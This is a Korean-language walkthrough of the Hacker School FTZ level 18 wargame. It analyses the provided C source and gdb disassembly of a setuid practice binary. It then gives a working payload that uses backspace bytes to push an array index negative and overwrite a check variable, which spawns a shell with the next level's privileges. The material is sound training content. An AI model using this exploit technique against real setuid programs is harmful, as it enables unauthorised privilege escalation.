

Hacker School FTZ

- level 18 -

1. hint 파일 살펴보기

```
[level18@ftz level18]$ ls
attackme hint public_html tmp
```

처음 접속하여 ls 명령어를 이용해 현재 디렉토리를 살펴보았다.

이전과 같이 attackme 프로그램과 함께 hint라는 파일이 존재하는 것을 확인할 수 있다.

```
[level18@ftz level18]$ cat hint

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
    char string[100];
    int check;
    int x = 0;
    int count = 0;
    fd_set fds;
    printf("Enter your command: ");
    fflush(stdout);
    while(1)
    {
        if(count >= 100)
            printf("what are you trying to do?\n");
        if(check == 0xdeadbeef)
            shellout();
        else
        {
            FD_ZERO(&fds);
            FD_SET(STDIN_FILENO,&fds);

            if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
                if(FD_ISSET(fileno(stdin),&fds))
                {
                    read(fileno(stdin),&x,1);
                    switch(x)
                    {
                        case '\r':
                        case '\n':
                            printf("\a");
                            break;
                        case 0x08:
                            count--;
                            printf("\b \b");
                            break;
                        default:
                            string[count] = x;
                            count++;
                            break;
                    }
                }
            }
        }
    }
}

void shellout(void)
{
    setreuid(3099,3099);
    execl("/bin/sh","sh",NULL);
}
```

cat 명령을 이용해 hint 파일의 내용을 살펴보았다.

이번에는 이전보다 훨씬 긴 분량의 C 소스 코드가 나왔다.

간단하게 살펴보자면, check 변수를 0xdeadbeef로 뒤덮여 shellout 함수가 실행되게 해야 할 것 같다.

※ fd_set 구조체

File Descriptor 를 저장하는 구조체로 다음과 같은 구조이다.

```
typedef struct {
    int fd_count;
    int fd_array[FD_SETSIZE];
} fd_set;
```

주로 네트워크 프로그래밍이나 다중 입출력 작업을 수행할 때 사용된다. File Descriptor 는 파일이나 소켓과 같은 입출력 장치를 식별하는 정수이다.

※ FD_ZERO()

fd_set 을 초기화하는 매크로로 fd_set 내의 File Descriptor 를 모두 0 으로 초기화한다.

※ FD_SET()

void FD_SET(int fd, fd_set *set)

fd_set 에 특정 File Descriptor 를 추가하는 매크로이다.

※ select()

int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);

nfds : 모니터링할 파일 디스크립터 중 가장 큰 값에 1 을 더한 값

readfds : 읽기 가능한 파일 디스크립터를 나타내는 fd_set

writefds : 쓰기 가능한 파일 디스크립터를 나타내는 fd_set

exceptfds : 예외 상황이 발생한 파일 디스크립터를 나타내는 fd_set

timeout : select 함수의 타임아웃을 나타내는 struct timeval 구조체, NULL 이면 무한정 대기

반환 값은 모니터링 중인 파일 디스크립터 중 하나 이상의 상태 변화가 감지된 경우, 해당 파일 디스크립터의 개수이다. 반환 값이 0 인 경우는 타임아웃이 발생한 경우이며, -1 인 경우는 오류가 발생했을 때이다.

※ select()

int FD_ISSET(int fd, fd_set *set)

주어진 파일 디스크립터가 특정 fd_set 에 속해 있는지 확인하는 매크로이다.

set 에 fd 가 포함되어 있으면 0 이 아닌 값을 반환, 그렇지 않으면 0 을 반환

※ read()

ssize_t read(int fd, void *buf, size_t count);

파일 디스크립터로부터 데이터를 읽는 함수이다.

※ fileno()

int fileno(FILE *stream);

FILE 포인터로부터 파일 디스크립터를 얻는 함수이다.

2. 스택 확인

우리는 프로그램의 구조를 확인하기 위해 gdb를 quiet 모드로 실행해 프로그램의 디버깅 정보를 확인할 것이다. 본인은 intel식 어셈블리어 표현이 더 편하므로 intel식으로 세팅을 할 것이다.

```
[level18@ftz level18]$ gdb -q attackme
(no debugging symbols found)...(gdb)
(gdb) set disassembly-flavor intel
```

```
(gdb) disas main
Dump of assembler code for function main:
0x08048550 <main+0>:    push    ebp
0x08048551 <main+1>:    mov     ebp,esp
0x08048553 <main+3>:    sub     esp,0x100
0x08048559 <main+9>:    push    edi
0x0804855a <main+10>:   push    esi
0x0804855b <main+11>:   push    ebx
0x0804855c <main+12>:   mov     DWORD PTR [ebp-108],0x0
0x08048563 <main+19>:   mov     DWORD PTR [ebp-112],0x0
0x0804856a <main+26>:   push    0x8048800
0x0804856f <main+31>:   call    0x8048470 <printf>
0x08048574 <main+36>:   add     esp,0x4
0x08048577 <main+39>:   mov     eax,ds:0x804993c
0x0804857c <main+44>:   mov     DWORD PTR [ebp-252],eax
0x08048582 <main+50>:   mov     ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>:   push    ecx
0x08048589 <main+57>:   call    0x8048430 <fflush>
0x0804858e <main+62>:   add     esp,0x4
0x08048591 <main+65>:   jmp     0x8048598 <main+72>
0x08048593 <main+67>:   jmp     0x8048775 <main+549>
0x08048598 <main+72>:   cmp     DWORD PTR [ebp-112],0x63
0x0804859c <main+76>:   jle     0x80485ab <main+91>
0x0804859e <main+78>:   push    0x8048815
0x080485a3 <main+83>:   call    0x8048470 <printf>
0x080485a8 <main+88>:   add     esp,0x4
0x080485ab <main+91>:   cmp     DWORD PTR [ebp-104],0xdeadbeef
0x080485b2 <main+98>:   jne     0x80485c0 <main+112>
0x080485b4 <main+100>:  call    0x8048780 <shellout>
0x080485b9 <main+105>:  jmp     0x8048770 <main+544>
0x080485be <main+110>:  mov     esi,esi
0x080485c0 <main+112>:  lea     edi,[ebp-240]
0x080485c6 <main+118>:  mov     DWORD PTR [ebp-252],edi
0x080485cc <main+124>:  mov     ecx,0x20
0x080485d1 <main+129>:  mov     edi,DWORD PTR [ebp-252]
```

```

0x080485d7 <main+135>: xor     eax,eax
0x080485d9 <main+137>: cld
0x080485da <main+138>: repz   stos es:[edi],eax
0x080485dc <main+140>: mov     DWORD PTR [ebp-244],ecx
0x080485e2 <main+146>: mov     DWORD PTR [ebp-248],edi
0x080485e8 <main+152>: jmp     0x80485f2 <main+162>
0x080485ea <main+154>: lea     esi,[esi]
0x080485f0 <main+160>: jmp     0x80485c0 <main+112>
0x080485f2 <main+162>: xor     eax,eax
0x080485f4 <main+164>: bts     DWORD PTR [ebp-240],eax
0x080485fb <main+171>: push    0x0
0x080485fd <main+173>: push    0x0
0x080485ff <main+175>: push    0x0
0x08048601 <main+177>: lea     ecx,[ebp-240]
0x08048607 <main+183>: mov     DWORD PTR [ebp-252],ecx
0x0804860d <main+189>: mov     edi,DWORD PTR [ebp-252]
0x08048613 <main+195>: push    edi
0x08048614 <main+196>: push    0x400
0x08048619 <main+201>: call    0x8048440 <select>
0x0804861e <main+206>: add     esp,0x14
0x08048621 <main+209>: mov     DWORD PTR [ebp-252],eax
0x08048627 <main+215>: cmp     DWORD PTR [ebp-252],0x0
0x0804862e <main+222>: jle     0x8048770 <main+544>
0x08048634 <main+228>: mov     eax,ds:0x8049940
0x08048639 <main+233>: mov     DWORD PTR [ebp-252],eax
0x0804863f <main+239>: mov     ecx,DWORD PTR [ebp-252]
0x08048645 <main+245>: push    ecx
0x08048646 <main+246>: call    0x8048420 <fileno>
0x0804864b <main+251>: add     esp,0x4
0x0804864e <main+254>: mov     DWORD PTR [ebp-252],eax
0x08048654 <main+260>: mov     esi,DWORD PTR [ebp-252]
0x0804865a <main+266>: and     esi,0x1f
0x0804865d <main+269>: mov     edi,ds:0x8049940
0x08048663 <main+275>: mov     DWORD PTR [ebp-252],edi

0x08048669 <main+281>: mov     eax,DWORD PTR [ebp-252]
0x0804866f <main+287>: push    eax
0x08048670 <main+288>: call    0x8048420 <fileno>
0x08048675 <main+293>: add     esp,0x4
0x08048678 <main+296>: mov     DWORD PTR [ebp-252],eax
0x0804867e <main+302>: mov     edx,DWORD PTR [ebp-252]
0x08048684 <main+308>: shr     edx,0x5
0x08048687 <main+311>: lea     ecx,[edx*4]
0x0804868e <main+318>: mov     DWORD PTR [ebp-252],ecx
0x08048694 <main+324>: lea     edx,[ebp-240]
0x0804869a <main+330>: mov     edi,DWORD PTR [ebp-252]
0x080486a0 <main+336>: bt      DWORD PTR [edi+edx],esi
0x080486a4 <main+340>: setb    bl
0x080486a7 <main+343>: test    bl,bl
0x080486a9 <main+345>: je      0x8048770 <main+544>
0x080486af <main+351>: push    0x1
0x080486b1 <main+353>: lea     eax,[ebp-108]
0x080486b4 <main+356>: mov     DWORD PTR [ebp-252],eax
0x080486ba <main+362>: mov     ecx,DWORD PTR [ebp-252]
0x080486c0 <main+368>: push    ecx
0x080486c1 <main+369>: mov     edi,ds:0x8049940
0x080486c7 <main+375>: mov     DWORD PTR [ebp-252],edi
0x080486cd <main+381>: mov     eax,DWORD PTR [ebp-252]
0x080486d3 <main+387>: push    eax
0x080486d4 <main+388>: call    0x8048420 <fileno>
0x080486d9 <main+393>: add     esp,0x4
0x080486dc <main+396>: mov     DWORD PTR [ebp-252],eax
0x080486e2 <main+402>: mov     ecx,DWORD PTR [ebp-252]
0x080486e8 <main+408>: push    ecx
0x080486e9 <main+409>: call    0x8048490 <read>
0x080486ee <main+414>: add     esp,0xc
0x080486f1 <main+417>: mov     edi,DWORD PTR [ebp-108]
0x080486f4 <main+420>: mov     DWORD PTR [ebp-252],edi
0x080486fa <main+426>: cmp     DWORD PTR [ebp-252],0xa

0x08048701 <main+433>: je      0x8048722 <main+466>
0x08048703 <main+435>: cmp     DWORD PTR [ebp-252],0xa
0x0804870a <main+442>: jg      0x8048717 <main+455>
0x0804870c <main+444>: cmp     DWORD PTR [ebp-252],0x8
0x08048713 <main+451>: je      0x8048731 <main+481>
0x08048715 <main+453>: jmp     0x8048743 <main+499>
0x08048717 <main+455>: cmp     DWORD PTR [ebp-252],0xd
0x0804871e <main+462>: je      0x8048722 <main+466>
0x08048720 <main+464>: jmp     0x8048743 <main+499>
0x08048722 <main+466>: push    0x8048831
0x08048727 <main+471>: call    0x8048470 <printf>
0x0804872c <main+476>: add     esp,0x4
0x0804872f <main+479>: jmp     0x8048770 <main+544>
0x08048731 <main+481>: dec     DWORD PTR [ebp-112]
0x08048734 <main+484>: push    0x8048833
0x08048739 <main+489>: call    0x8048470 <printf>
0x0804873e <main+494>: add     esp,0x4
0x08048741 <main+497>: jmp     0x8048770 <main+544>
0x08048743 <main+499>: lea     eax,[ebp-100]
0x08048746 <main+502>: mov     DWORD PTR [ebp-252],eax
0x0804874c <main+508>: mov     edx,DWORD PTR [ebp-112]
0x0804874f <main+511>: mov     cl,BYTE PTR [ebp-108]
0x08048752 <main+514>: mov     BYTE PTR [ebp-253],cl
0x08048758 <main+520>: mov     al,BYTE PTR [ebp-253]
0x0804875e <main+526>: mov     ecx,DWORD PTR [ebp-252]
0x08048764 <main+532>: mov     BYTE PTR [edx+ecx],al
0x08048767 <main+535>: inc     DWORD PTR [ebp-112]
0x0804876a <main+538>: jmp     0x8048770 <main+544>
0x0804876c <main+540>: lea     esi,[esi*1]
0x08048770 <main+544>: jmp     0x8048591 <main+65>
0x08048775 <main+549>: lea     esp,[ebp-268]
0x0804877b <main+555>: pop     ebx
0x0804877c <main+556>: pop     esi
0x0804877d <main+557>: pop     edi

```

```
0x0804877e <main+558>: leave
0x0804877f <main+559>: ret
```

위는 main 함수를 disassemble한 모습이다.

이전보다 훨씬 복잡한 형태를 띄고 있다. 천천히 살펴보자면

<main+12>와 <main+19>에서 각각 0 값을 대입하고 있는 것을 보아 ebp-108과 ebp-112는 각각 x와 count 변수인 것을 알 수 있다.

<main+499>에서 switch 문의 default 경우일 때, ebp-100에서 어떠한 주소를 가져오는 것을 보아 string 배열의 위치인 것을 알 수 있다.

<main+91>에서 0xdeadbeef 값과 비교하는 구문이 있는 것을 보아 ebp-104는 check 변수인 것 같다.

스택에 중요한 것만 표기해보자면 간단하게 다음과 같을 것이다.

high	...	
	RET	
	SFP	
ebp ->	...	
	string [100]	ebp - 100
	check [4]	ebp - 104
	x [4]	ebp - 108
	count [4]	ebp - 112
low	...	

3. 취약점 파악

현재 입력에 대한 길이 제한이 없다.

```
switch(x)
{
    case '\r':
    case '\n':
        printf("\a");
        break;
    case 0x08:
        count--;
        printf("\b\b");
        break;
    default:
        string[count] = x;
        count++;
        break;
}
```

소스 코드의 switch 문을 보면 0x08일 때, count가 감소하게 되는데 default일 경우 string 배열의 count 위치에서 우리가 입력한 문장의 일부인 x가 저장된다.

우리가 현재 그린 stack을 보면 string 배열과 check 배열이 붙어 있는 것을 알 수 있다.

그렇다면 우리는 count의 값을 음수로 만들고 string 배열의 count 위치에 x 값을 저장한다면 어떻게 될까?

이렇게 되면 check의 메모리 영역에 뒤덮여 쓰이게 된다.

ebp-100 위치는 string[0]이다. 그렇다면 ebp-104 위치는 string[-4] 위치가 된다는 말이다. 이것이 check의 stack 상 위치이다. 이 점을 이용하여 BOF 공격을 하면 된다.

4. attackme 실행

우리는 이렇게 얻은 정보들을 통하여 attackme 프로그램을 실행할 것이다.

```
[level18@ftz level18]$ (python -c 'print "\x08"*4 + "\xef\xbe\xad\xde"; cat) | ./attackme
```

count 값을 -4로 만들어주기 위해 먼저 0x08 값을 4번 넣어준다. 이후, string 배열에 입력하기 위해 0xdeadbeef 값을 리틀 엔디안 방식으로 넣어주면 check 변수에 덮어씌워진다. 이후, cat을 통해 우리가 파이썬 출력을 통해 나온 값이 attackme 프로그램의 입력으로 들어가게 잡아줄 것이다.

```
Enter your command:
id
uid=3099(level19) gid=3098(level18) groups=3098(level18)
```

이후, 커맨드를 입력하라는 출력 문구가 뜨는데 여기서 무시하고 id 명령을 통해 셸의 정보를 확인하자 UID가 정상적으로 level19로 설정되어 우리는 level19의 권한을 획득한 것을 확인할 수 있었다.

5. 비밀번호 획득

```
my-pass
```

```
Level19 Password is "_____".
```

my-pass 명령을 통해 level19의 비밀번호를 획득할 수 있다. 이를 따로 기록하여 level19 로그인 시, 사용하자.